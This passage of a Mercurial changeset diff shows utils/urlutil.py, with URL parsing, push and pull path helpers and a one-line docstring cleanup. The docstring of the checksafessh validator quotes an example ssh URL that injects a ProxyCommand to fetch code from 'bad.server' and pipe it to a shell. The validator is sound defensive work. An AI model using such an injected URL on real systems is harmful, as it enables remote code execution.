##// END OF EJS Templates
path: remove outdated documentation point from `get_unique_push_path`...
marmoute -
r50615:bcb172e3 default
parent child Browse files
Show More
@@ -1,985 +1,983
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from ..pycompat import (
12 from ..pycompat import (
13 getattr,
13 getattr,
14 setattr,
14 setattr,
15 )
15 )
16 from .. import (
16 from .. import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pycompat,
19 pycompat,
20 urllibcompat,
20 urllibcompat,
21 )
21 )
22
22
23 from . import (
23 from . import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27
27
28 if pycompat.TYPE_CHECKING:
28 if pycompat.TYPE_CHECKING:
29 from typing import (
29 from typing import (
30 Union,
30 Union,
31 )
31 )
32
32
33 urlreq = urllibcompat.urlreq
33 urlreq = urllibcompat.urlreq
34
34
35
35
36 def getport(port):
36 def getport(port):
37 # type: (Union[bytes, int]) -> int
37 # type: (Union[bytes, int]) -> int
38 """Return the port for a given network service.
38 """Return the port for a given network service.
39
39
40 If port is an integer, it's returned as is. If it's a string, it's
40 If port is an integer, it's returned as is. If it's a string, it's
41 looked up using socket.getservbyname(). If there's no matching
41 looked up using socket.getservbyname(). If there's no matching
42 service, error.Abort is raised.
42 service, error.Abort is raised.
43 """
43 """
44 try:
44 try:
45 return int(port)
45 return int(port)
46 except ValueError:
46 except ValueError:
47 pass
47 pass
48
48
49 try:
49 try:
50 return socket.getservbyname(pycompat.sysstr(port))
50 return socket.getservbyname(pycompat.sysstr(port))
51 except socket.error:
51 except socket.error:
52 raise error.Abort(
52 raise error.Abort(
53 _(b"no port number associated with service '%s'") % port
53 _(b"no port number associated with service '%s'") % port
54 )
54 )
55
55
56
56
57 class url:
57 class url:
58 r"""Reliable URL parser.
58 r"""Reliable URL parser.
59
59
60 This parses URLs and provides attributes for the following
60 This parses URLs and provides attributes for the following
61 components:
61 components:
62
62
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64
64
65 Missing components are set to None. The only exception is
65 Missing components are set to None. The only exception is
66 fragment, which is set to '' if present but empty.
66 fragment, which is set to '' if present but empty.
67
67
68 If parsefragment is False, fragment is included in query. If
68 If parsefragment is False, fragment is included in query. If
69 parsequery is False, query is included in path. If both are
69 parsequery is False, query is included in path. If both are
70 False, both fragment and query are included in path.
70 False, both fragment and query are included in path.
71
71
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73
73
74 Note that for backward compatibility reasons, bundle URLs do not
74 Note that for backward compatibility reasons, bundle URLs do not
75 take host names. That means 'bundle://../' has a path of '../'.
75 take host names. That means 'bundle://../' has a path of '../'.
76
76
77 Examples:
77 Examples:
78
78
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 >>> url(b'file:///home/joe/repo')
83 >>> url(b'file:///home/joe/repo')
84 <url scheme: 'file', path: '/home/joe/repo'>
84 <url scheme: 'file', path: '/home/joe/repo'>
85 >>> url(b'file:///c:/temp/foo/')
85 >>> url(b'file:///c:/temp/foo/')
86 <url scheme: 'file', path: 'c:/temp/foo/'>
86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 >>> url(b'bundle:foo')
87 >>> url(b'bundle:foo')
88 <url scheme: 'bundle', path: 'foo'>
88 <url scheme: 'bundle', path: 'foo'>
89 >>> url(b'bundle://../foo')
89 >>> url(b'bundle://../foo')
90 <url scheme: 'bundle', path: '../foo'>
90 <url scheme: 'bundle', path: '../foo'>
91 >>> url(br'c:\foo\bar')
91 >>> url(br'c:\foo\bar')
92 <url path: 'c:\\foo\\bar'>
92 <url path: 'c:\\foo\\bar'>
93 >>> url(br'\\blah\blah\blah')
93 >>> url(br'\\blah\blah\blah')
94 <url path: '\\\\blah\\blah\\blah'>
94 <url path: '\\\\blah\\blah\\blah'>
95 >>> url(br'\\blah\blah\blah#baz')
95 >>> url(br'\\blah\blah\blah#baz')
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 >>> url(br'file:///C:\users\me')
97 >>> url(br'file:///C:\users\me')
98 <url scheme: 'file', path: 'C:\\users\\me'>
98 <url scheme: 'file', path: 'C:\\users\\me'>
99
99
100 Authentication credentials:
100 Authentication credentials:
101
101
102 >>> url(b'ssh://joe:xyz@x/repo')
102 >>> url(b'ssh://joe:xyz@x/repo')
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 >>> url(b'ssh://joe@x/repo')
104 >>> url(b'ssh://joe@x/repo')
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106
106
107 Query strings and fragments:
107 Query strings and fragments:
108
108
109 >>> url(b'http://host/a?b#c')
109 >>> url(b'http://host/a?b#c')
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113
113
114 Empty path:
114 Empty path:
115
115
116 >>> url(b'')
116 >>> url(b'')
117 <url path: ''>
117 <url path: ''>
118 >>> url(b'#a')
118 >>> url(b'#a')
119 <url path: '', fragment: 'a'>
119 <url path: '', fragment: 'a'>
120 >>> url(b'http://host/')
120 >>> url(b'http://host/')
121 <url scheme: 'http', host: 'host', path: ''>
121 <url scheme: 'http', host: 'host', path: ''>
122 >>> url(b'http://host/#a')
122 >>> url(b'http://host/#a')
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124
124
125 Only scheme:
125 Only scheme:
126
126
127 >>> url(b'http:')
127 >>> url(b'http:')
128 <url scheme: 'http'>
128 <url scheme: 'http'>
129 """
129 """
130
130
131 _safechars = b"!~*'()+"
131 _safechars = b"!~*'()+"
132 _safepchars = b"/!~*'()+:\\"
132 _safepchars = b"/!~*'()+:\\"
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134
134
135 def __init__(self, path, parsequery=True, parsefragment=True):
135 def __init__(self, path, parsequery=True, parsefragment=True):
136 # type: (bytes, bool, bool) -> None
136 # type: (bytes, bool, bool) -> None
137 # We slowly chomp away at path until we have only the path left
137 # We slowly chomp away at path until we have only the path left
138 self.scheme = self.user = self.passwd = self.host = None
138 self.scheme = self.user = self.passwd = self.host = None
139 self.port = self.path = self.query = self.fragment = None
139 self.port = self.path = self.query = self.fragment = None
140 self._localpath = True
140 self._localpath = True
141 self._hostport = b''
141 self._hostport = b''
142 self._origpath = path
142 self._origpath = path
143
143
144 if parsefragment and b'#' in path:
144 if parsefragment and b'#' in path:
145 path, self.fragment = path.split(b'#', 1)
145 path, self.fragment = path.split(b'#', 1)
146
146
147 # special case for Windows drive letters and UNC paths
147 # special case for Windows drive letters and UNC paths
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 self.path = path
149 self.path = path
150 return
150 return
151
151
152 # For compatibility reasons, we can't handle bundle paths as
152 # For compatibility reasons, we can't handle bundle paths as
153 # normal URLS
153 # normal URLS
154 if path.startswith(b'bundle:'):
154 if path.startswith(b'bundle:'):
155 self.scheme = b'bundle'
155 self.scheme = b'bundle'
156 path = path[7:]
156 path = path[7:]
157 if path.startswith(b'//'):
157 if path.startswith(b'//'):
158 path = path[2:]
158 path = path[2:]
159 self.path = path
159 self.path = path
160 return
160 return
161
161
162 if self._matchscheme(path):
162 if self._matchscheme(path):
163 parts = path.split(b':', 1)
163 parts = path.split(b':', 1)
164 if parts[0]:
164 if parts[0]:
165 self.scheme, path = parts
165 self.scheme, path = parts
166 self._localpath = False
166 self._localpath = False
167
167
168 if not path:
168 if not path:
169 path = None
169 path = None
170 if self._localpath:
170 if self._localpath:
171 self.path = b''
171 self.path = b''
172 return
172 return
173 else:
173 else:
174 if self._localpath:
174 if self._localpath:
175 self.path = path
175 self.path = path
176 return
176 return
177
177
178 if parsequery and b'?' in path:
178 if parsequery and b'?' in path:
179 path, self.query = path.split(b'?', 1)
179 path, self.query = path.split(b'?', 1)
180 if not path:
180 if not path:
181 path = None
181 path = None
182 if not self.query:
182 if not self.query:
183 self.query = None
183 self.query = None
184
184
185 # // is required to specify a host/authority
185 # // is required to specify a host/authority
186 if path and path.startswith(b'//'):
186 if path and path.startswith(b'//'):
187 parts = path[2:].split(b'/', 1)
187 parts = path[2:].split(b'/', 1)
188 if len(parts) > 1:
188 if len(parts) > 1:
189 self.host, path = parts
189 self.host, path = parts
190 else:
190 else:
191 self.host = parts[0]
191 self.host = parts[0]
192 path = None
192 path = None
193 if not self.host:
193 if not self.host:
194 self.host = None
194 self.host = None
195 # path of file:///d is /d
195 # path of file:///d is /d
196 # path of file:///d:/ is d:/, not /d:/
196 # path of file:///d:/ is d:/, not /d:/
197 if path and not hasdriveletter(path):
197 if path and not hasdriveletter(path):
198 path = b'/' + path
198 path = b'/' + path
199
199
200 if self.host and b'@' in self.host:
200 if self.host and b'@' in self.host:
201 self.user, self.host = self.host.rsplit(b'@', 1)
201 self.user, self.host = self.host.rsplit(b'@', 1)
202 if b':' in self.user:
202 if b':' in self.user:
203 self.user, self.passwd = self.user.split(b':', 1)
203 self.user, self.passwd = self.user.split(b':', 1)
204 if not self.host:
204 if not self.host:
205 self.host = None
205 self.host = None
206
206
207 # Don't split on colons in IPv6 addresses without ports
207 # Don't split on colons in IPv6 addresses without ports
208 if (
208 if (
209 self.host
209 self.host
210 and b':' in self.host
210 and b':' in self.host
211 and not (
211 and not (
212 self.host.startswith(b'[') and self.host.endswith(b']')
212 self.host.startswith(b'[') and self.host.endswith(b']')
213 )
213 )
214 ):
214 ):
215 self._hostport = self.host
215 self._hostport = self.host
216 self.host, self.port = self.host.rsplit(b':', 1)
216 self.host, self.port = self.host.rsplit(b':', 1)
217 if not self.host:
217 if not self.host:
218 self.host = None
218 self.host = None
219
219
220 if (
220 if (
221 self.host
221 self.host
222 and self.scheme == b'file'
222 and self.scheme == b'file'
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 ):
224 ):
225 raise error.Abort(
225 raise error.Abort(
226 _(b'file:// URLs can only refer to localhost')
226 _(b'file:// URLs can only refer to localhost')
227 )
227 )
228
228
229 self.path = path
229 self.path = path
230
230
231 # leave the query string escaped
231 # leave the query string escaped
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 v = getattr(self, a)
233 v = getattr(self, a)
234 if v is not None:
234 if v is not None:
235 setattr(self, a, urlreq.unquote(v))
235 setattr(self, a, urlreq.unquote(v))
236
236
237 def copy(self):
237 def copy(self):
238 u = url(b'temporary useless value')
238 u = url(b'temporary useless value')
239 u.path = self.path
239 u.path = self.path
240 u.scheme = self.scheme
240 u.scheme = self.scheme
241 u.user = self.user
241 u.user = self.user
242 u.passwd = self.passwd
242 u.passwd = self.passwd
243 u.host = self.host
243 u.host = self.host
244 u.path = self.path
244 u.path = self.path
245 u.query = self.query
245 u.query = self.query
246 u.fragment = self.fragment
246 u.fragment = self.fragment
247 u._localpath = self._localpath
247 u._localpath = self._localpath
248 u._hostport = self._hostport
248 u._hostport = self._hostport
249 u._origpath = self._origpath
249 u._origpath = self._origpath
250 return u
250 return u
251
251
252 @encoding.strmethod
252 @encoding.strmethod
253 def __repr__(self):
253 def __repr__(self):
254 attrs = []
254 attrs = []
255 for a in (
255 for a in (
256 b'scheme',
256 b'scheme',
257 b'user',
257 b'user',
258 b'passwd',
258 b'passwd',
259 b'host',
259 b'host',
260 b'port',
260 b'port',
261 b'path',
261 b'path',
262 b'query',
262 b'query',
263 b'fragment',
263 b'fragment',
264 ):
264 ):
265 v = getattr(self, a)
265 v = getattr(self, a)
266 if v is not None:
266 if v is not None:
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 return b'<url %s>' % b', '.join(attrs)
268 return b'<url %s>' % b', '.join(attrs)
269
269
270 def __bytes__(self):
270 def __bytes__(self):
271 r"""Join the URL's components back into a URL string.
271 r"""Join the URL's components back into a URL string.
272
272
273 Examples:
273 Examples:
274
274
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 'http://user:pw@host:80/?foo=bar&baz=42'
278 'http://user:pw@host:80/?foo=bar&baz=42'
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 'http://user:pw@host:80/?foo=bar%3dbaz'
280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 'ssh://user:pw@[::1]:2200//home/joe#'
282 'ssh://user:pw@[::1]:2200//home/joe#'
283 >>> bytes(url(b'http://localhost:80//'))
283 >>> bytes(url(b'http://localhost:80//'))
284 'http://localhost:80//'
284 'http://localhost:80//'
285 >>> bytes(url(b'http://localhost:80/'))
285 >>> bytes(url(b'http://localhost:80/'))
286 'http://localhost:80/'
286 'http://localhost:80/'
287 >>> bytes(url(b'http://localhost:80'))
287 >>> bytes(url(b'http://localhost:80'))
288 'http://localhost:80/'
288 'http://localhost:80/'
289 >>> bytes(url(b'bundle:foo'))
289 >>> bytes(url(b'bundle:foo'))
290 'bundle:foo'
290 'bundle:foo'
291 >>> bytes(url(b'bundle://../foo'))
291 >>> bytes(url(b'bundle://../foo'))
292 'bundle:../foo'
292 'bundle:../foo'
293 >>> bytes(url(b'path'))
293 >>> bytes(url(b'path'))
294 'path'
294 'path'
295 >>> bytes(url(b'file:///tmp/foo/bar'))
295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 'file:///tmp/foo/bar'
296 'file:///tmp/foo/bar'
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 'file:///c:/tmp/foo/bar'
298 'file:///c:/tmp/foo/bar'
299 >>> print(url(br'bundle:foo\bar'))
299 >>> print(url(br'bundle:foo\bar'))
300 bundle:foo\bar
300 bundle:foo\bar
301 >>> print(url(br'file:///D:\data\hg'))
301 >>> print(url(br'file:///D:\data\hg'))
302 file:///D:\data\hg
302 file:///D:\data\hg
303 """
303 """
304 if self._localpath:
304 if self._localpath:
305 s = self.path
305 s = self.path
306 if self.scheme == b'bundle':
306 if self.scheme == b'bundle':
307 s = b'bundle:' + s
307 s = b'bundle:' + s
308 if self.fragment:
308 if self.fragment:
309 s += b'#' + self.fragment
309 s += b'#' + self.fragment
310 return s
310 return s
311
311
312 s = self.scheme + b':'
312 s = self.scheme + b':'
313 if self.user or self.passwd or self.host:
313 if self.user or self.passwd or self.host:
314 s += b'//'
314 s += b'//'
315 elif self.scheme and (
315 elif self.scheme and (
316 not self.path
316 not self.path
317 or self.path.startswith(b'/')
317 or self.path.startswith(b'/')
318 or hasdriveletter(self.path)
318 or hasdriveletter(self.path)
319 ):
319 ):
320 s += b'//'
320 s += b'//'
321 if hasdriveletter(self.path):
321 if hasdriveletter(self.path):
322 s += b'/'
322 s += b'/'
323 if self.user:
323 if self.user:
324 s += urlreq.quote(self.user, safe=self._safechars)
324 s += urlreq.quote(self.user, safe=self._safechars)
325 if self.passwd:
325 if self.passwd:
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 if self.user or self.passwd:
327 if self.user or self.passwd:
328 s += b'@'
328 s += b'@'
329 if self.host:
329 if self.host:
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 s += urlreq.quote(self.host)
331 s += urlreq.quote(self.host)
332 else:
332 else:
333 s += self.host
333 s += self.host
334 if self.port:
334 if self.port:
335 s += b':' + urlreq.quote(self.port)
335 s += b':' + urlreq.quote(self.port)
336 if self.host:
336 if self.host:
337 s += b'/'
337 s += b'/'
338 if self.path:
338 if self.path:
339 # TODO: similar to the query string, we should not unescape the
339 # TODO: similar to the query string, we should not unescape the
340 # path when we store it, the path might contain '%2f' = '/',
340 # path when we store it, the path might contain '%2f' = '/',
341 # which we should *not* escape.
341 # which we should *not* escape.
342 s += urlreq.quote(self.path, safe=self._safepchars)
342 s += urlreq.quote(self.path, safe=self._safepchars)
343 if self.query:
343 if self.query:
344 # we store the query in escaped form.
344 # we store the query in escaped form.
345 s += b'?' + self.query
345 s += b'?' + self.query
346 if self.fragment is not None:
346 if self.fragment is not None:
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 return s
348 return s
349
349
350 __str__ = encoding.strmethod(__bytes__)
350 __str__ = encoding.strmethod(__bytes__)
351
351
352 def authinfo(self):
352 def authinfo(self):
353 user, passwd = self.user, self.passwd
353 user, passwd = self.user, self.passwd
354 try:
354 try:
355 self.user, self.passwd = None, None
355 self.user, self.passwd = None, None
356 s = bytes(self)
356 s = bytes(self)
357 finally:
357 finally:
358 self.user, self.passwd = user, passwd
358 self.user, self.passwd = user, passwd
359 if not self.user:
359 if not self.user:
360 return (s, None)
360 return (s, None)
361 # authinfo[1] is passed to urllib2 password manager, and its
361 # authinfo[1] is passed to urllib2 password manager, and its
362 # URIs must not contain credentials. The host is passed in the
362 # URIs must not contain credentials. The host is passed in the
363 # URIs list because Python < 2.4.3 uses only that to search for
363 # URIs list because Python < 2.4.3 uses only that to search for
364 # a password.
364 # a password.
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366
366
367 def isabs(self):
367 def isabs(self):
368 if self.scheme and self.scheme != b'file':
368 if self.scheme and self.scheme != b'file':
369 return True # remote URL
369 return True # remote URL
370 if hasdriveletter(self.path):
370 if hasdriveletter(self.path):
371 return True # absolute for our purposes - can't be joined()
371 return True # absolute for our purposes - can't be joined()
372 if self.path.startswith(br'\\'):
372 if self.path.startswith(br'\\'):
373 return True # Windows UNC path
373 return True # Windows UNC path
374 if self.path.startswith(b'/'):
374 if self.path.startswith(b'/'):
375 return True # POSIX-style
375 return True # POSIX-style
376 return False
376 return False
377
377
378 def localpath(self):
378 def localpath(self):
379 # type: () -> bytes
379 # type: () -> bytes
380 if self.scheme == b'file' or self.scheme == b'bundle':
380 if self.scheme == b'file' or self.scheme == b'bundle':
381 path = self.path or b'/'
381 path = self.path or b'/'
382 # For Windows, we need to promote hosts containing drive
382 # For Windows, we need to promote hosts containing drive
383 # letters to paths with drive letters.
383 # letters to paths with drive letters.
384 if hasdriveletter(self._hostport):
384 if hasdriveletter(self._hostport):
385 path = self._hostport + b'/' + self.path
385 path = self._hostport + b'/' + self.path
386 elif (
386 elif (
387 self.host is not None and self.path and not hasdriveletter(path)
387 self.host is not None and self.path and not hasdriveletter(path)
388 ):
388 ):
389 path = b'/' + path
389 path = b'/' + path
390 return path
390 return path
391 return self._origpath
391 return self._origpath
392
392
393 def islocal(self):
393 def islocal(self):
394 '''whether localpath will return something that posixfile can open'''
394 '''whether localpath will return something that posixfile can open'''
395 return (
395 return (
396 not self.scheme
396 not self.scheme
397 or self.scheme == b'file'
397 or self.scheme == b'file'
398 or self.scheme == b'bundle'
398 or self.scheme == b'bundle'
399 )
399 )
400
400
401
401
402 def hasscheme(path):
402 def hasscheme(path):
403 # type: (bytes) -> bool
403 # type: (bytes) -> bool
404 return bool(url(path).scheme) # cast to help pytype
404 return bool(url(path).scheme) # cast to help pytype
405
405
406
406
407 def hasdriveletter(path):
407 def hasdriveletter(path):
408 # type: (bytes) -> bool
408 # type: (bytes) -> bool
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410
410
411
411
412 def urllocalpath(path):
412 def urllocalpath(path):
413 # type: (bytes) -> bytes
413 # type: (bytes) -> bytes
414 return url(path, parsequery=False, parsefragment=False).localpath()
414 return url(path, parsequery=False, parsefragment=False).localpath()
415
415
416
416
417 def checksafessh(path):
417 def checksafessh(path):
418 # type: (bytes) -> None
418 # type: (bytes) -> None
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420
420
421 This is a sanity check for ssh urls. ssh will parse the first item as
421 This is a sanity check for ssh urls. ssh will parse the first item as
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 Let's prevent these potentially exploited urls entirely and warn the
423 Let's prevent these potentially exploited urls entirely and warn the
424 user.
424 user.
425
425
426 Raises an error.Abort when the url is unsafe.
426 Raises an error.Abort when the url is unsafe.
427 """
427 """
428 path = urlreq.unquote(path)
428 path = urlreq.unquote(path)
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 raise error.Abort(
430 raise error.Abort(
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 )
432 )
433
433
434
434
435 def hidepassword(u):
435 def hidepassword(u):
436 # type: (bytes) -> bytes
436 # type: (bytes) -> bytes
437 '''hide user credential in a url string'''
437 '''hide user credential in a url string'''
438 u = url(u)
438 u = url(u)
439 if u.passwd:
439 if u.passwd:
440 u.passwd = b'***'
440 u.passwd = b'***'
441 return bytes(u)
441 return bytes(u)
442
442
443
443
444 def removeauth(u):
444 def removeauth(u):
445 # type: (bytes) -> bytes
445 # type: (bytes) -> bytes
446 '''remove all authentication information from a url string'''
446 '''remove all authentication information from a url string'''
447 u = url(u)
447 u = url(u)
448 u.user = u.passwd = None
448 u.user = u.passwd = None
449 return bytes(u)
449 return bytes(u)
450
450
451
451
452 def list_paths(ui, target_path=None):
452 def list_paths(ui, target_path=None):
453 """list all the (name, paths) in the passed ui"""
453 """list all the (name, paths) in the passed ui"""
454 result = []
454 result = []
455 if target_path is None:
455 if target_path is None:
456 for name, paths in sorted(ui.paths.items()):
456 for name, paths in sorted(ui.paths.items()):
457 for p in paths:
457 for p in paths:
458 result.append((name, p))
458 result.append((name, p))
459
459
460 else:
460 else:
461 for path in ui.paths.get(target_path, []):
461 for path in ui.paths.get(target_path, []):
462 result.append((target_path, path))
462 result.append((target_path, path))
463 return result
463 return result
464
464
465
465
466 def try_path(ui, url):
466 def try_path(ui, url):
467 """try to build a path from a url
467 """try to build a path from a url
468
468
469 Return None if no Path could built.
469 Return None if no Path could built.
470 """
470 """
471 try:
471 try:
472 # we pass the ui instance are warning might need to be issued
472 # we pass the ui instance are warning might need to be issued
473 return path(ui, None, rawloc=url)
473 return path(ui, None, rawloc=url)
474 except ValueError:
474 except ValueError:
475 return None
475 return None
476
476
477
477
478 def get_push_paths(repo, ui, dests):
478 def get_push_paths(repo, ui, dests):
479 """yields all the `path` selected as push destination by `dests`"""
479 """yields all the `path` selected as push destination by `dests`"""
480 if not dests:
480 if not dests:
481 if b'default-push' in ui.paths:
481 if b'default-push' in ui.paths:
482 for p in ui.paths[b'default-push']:
482 for p in ui.paths[b'default-push']:
483 yield p.get_push_variant()
483 yield p.get_push_variant()
484 elif b'default' in ui.paths:
484 elif b'default' in ui.paths:
485 for p in ui.paths[b'default']:
485 for p in ui.paths[b'default']:
486 yield p.get_push_variant()
486 yield p.get_push_variant()
487 else:
487 else:
488 raise error.ConfigError(
488 raise error.ConfigError(
489 _(b'default repository not configured!'),
489 _(b'default repository not configured!'),
490 hint=_(b"see 'hg help config.paths'"),
490 hint=_(b"see 'hg help config.paths'"),
491 )
491 )
492 else:
492 else:
493 for dest in dests:
493 for dest in dests:
494 if dest in ui.paths:
494 if dest in ui.paths:
495 for p in ui.paths[dest]:
495 for p in ui.paths[dest]:
496 yield p.get_push_variant()
496 yield p.get_push_variant()
497 else:
497 else:
498 path = try_path(ui, dest)
498 path = try_path(ui, dest)
499 if path is None:
499 if path is None:
500 msg = _(b'repository %s does not exist')
500 msg = _(b'repository %s does not exist')
501 msg %= dest
501 msg %= dest
502 raise error.RepoError(msg)
502 raise error.RepoError(msg)
503 yield path.get_push_variant()
503 yield path.get_push_variant()
504
504
505
505
506 def get_pull_paths(repo, ui, sources):
506 def get_pull_paths(repo, ui, sources):
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 if not sources:
508 if not sources:
509 sources = [b'default']
509 sources = [b'default']
510 for source in sources:
510 for source in sources:
511 if source in ui.paths:
511 if source in ui.paths:
512 for p in ui.paths[source]:
512 for p in ui.paths[source]:
513 yield p
513 yield p
514 else:
514 else:
515 p = path(ui, None, source, validate_path=False)
515 p = path(ui, None, source, validate_path=False)
516 yield p
516 yield p
517
517
518
518
519 def get_unique_push_path(action, repo, ui, dest=None):
519 def get_unique_push_path(action, repo, ui, dest=None):
520 """return a unique `path` or abort if multiple are found
520 """return a unique `path` or abort if multiple are found
521
521
522 This is useful for command and action that does not support multiple
522 This is useful for command and action that does not support multiple
523 destination (yet).
523 destination (yet).
524
524
525 Note that for now, we cannot get multiple destination so this function is "trivial".
526
527 The `action` parameter will be used for the error message.
525 The `action` parameter will be used for the error message.
528 """
526 """
529 if dest is None:
527 if dest is None:
530 dests = []
528 dests = []
531 else:
529 else:
532 dests = [dest]
530 dests = [dest]
533 dests = list(get_push_paths(repo, ui, dests))
531 dests = list(get_push_paths(repo, ui, dests))
534 if len(dests) != 1:
532 if len(dests) != 1:
535 if dest is None:
533 if dest is None:
536 msg = _(
534 msg = _(
537 b"default path points to %d urls while %s only supports one"
535 b"default path points to %d urls while %s only supports one"
538 )
536 )
539 msg %= (len(dests), action)
537 msg %= (len(dests), action)
540 else:
538 else:
541 msg = _(b"path points to %d urls while %s only supports one: %s")
539 msg = _(b"path points to %d urls while %s only supports one: %s")
542 msg %= (len(dests), action, dest)
540 msg %= (len(dests), action, dest)
543 raise error.Abort(msg)
541 raise error.Abort(msg)
544 return dests[0]
542 return dests[0]
545
543
546
544
547 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
545 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
548 """return a unique `(url, branch)` or abort if multiple are found
546 """return a unique `(url, branch)` or abort if multiple are found
549
547
550 This is useful for command and action that does not support multiple
548 This is useful for command and action that does not support multiple
551 destination (yet).
549 destination (yet).
552
550
553 The `action` parameter will be used for the error message.
551 The `action` parameter will be used for the error message.
554 """
552 """
555 urls = []
553 urls = []
556 if source is None:
554 if source is None:
557 if b'default' in ui.paths:
555 if b'default' in ui.paths:
558 urls.extend(p.rawloc for p in ui.paths[b'default'])
556 urls.extend(p.rawloc for p in ui.paths[b'default'])
559 else:
557 else:
560 # XXX this is the historical default behavior, but that is not
558 # XXX this is the historical default behavior, but that is not
561 # great, consider breaking BC on this.
559 # great, consider breaking BC on this.
562 urls.append(b'default')
560 urls.append(b'default')
563 else:
561 else:
564 if source in ui.paths:
562 if source in ui.paths:
565 urls.extend(p.rawloc for p in ui.paths[source])
563 urls.extend(p.rawloc for p in ui.paths[source])
566 else:
564 else:
567 # Try to resolve as a local path or URI.
565 # Try to resolve as a local path or URI.
568 path = try_path(ui, source)
566 path = try_path(ui, source)
569 if path is not None:
567 if path is not None:
570 urls.append(path.rawloc)
568 urls.append(path.rawloc)
571 else:
569 else:
572 urls.append(source)
570 urls.append(source)
573 if len(urls) != 1:
571 if len(urls) != 1:
574 if source is None:
